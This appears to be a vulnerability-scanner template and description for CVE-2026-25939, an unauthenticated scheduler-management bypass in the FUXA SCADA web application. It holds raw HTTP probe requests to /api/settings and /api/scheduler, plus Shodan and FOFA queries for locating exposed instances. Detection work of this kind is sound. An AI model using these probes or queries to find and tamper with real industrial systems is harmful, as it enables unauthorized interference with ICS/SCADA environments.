Description
FUXA 1.2.8 through 1.2.10 contains an authorization bypass caused by improper access control in scheduler management, letting unauthenticated remote attackers create and modify schedulers, exploit requires no authentication.
FUXA 1.2.8 through 1.2.10 contains an authorization bypass caused by improper access control in scheduler management, letting unauthenticated remote attackers create and modify schedulers, exploit requires no authentication.
id: CVE-2026-25939
info:
name: FUXA - Authorization Bypass
author: theamanrawat
severity: critical
description: |
FUXA 1.2.8 through 1.2.10 contains an authorization bypass caused by improper access control in scheduler management, letting unauthenticated remote attackers create and modify schedulers, exploit requires no authentication.
impact: |
Unauthenticated attackers can create and modify schedulers, potentially compromising connected ICS/SCADA environments.
remediation: |
Upgrade to version 1.2.11 or later.
reference:
- https://github.com/frangoteam/FUXA/security/advisories/GHSA-c869-jx4c-q5fc
- https://github.com/frangoteam/FUXA/commit/5782b35117a9bd14ffcb881f8dfb8c6680157d9b
- https://nvd.nist.gov/vuln/detail/CVE-2026-25939
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2026-25939
epss-score: 0.12536
epss-percentile: 0.96266
cwe-id: CWE-862
metadata:
max-request: 2
vendor: frangoteam
product: fuxa
shodan-query: 'http.title:"FUXA"'
fofa-query: 'title="FUXA"'
tags: cve,cve2026,fuxa,auth-bypass,scada,ics,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/settings HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"secureEnabled\":true", "FUXA")'
condition: and
internal: true
- raw:
- |
POST /api/scheduler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains(body, "\"error\":\"Missing scheduler id or data in request body\"")'
condition: and
# digest: 490a0046304402206b90f73124f99d5c6c5ad9c5a6ffc8afc021128939435b46c648517555632c9702201fd744716da12570444e93c90a75738385e7721b88c74ff86fe581438671701c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.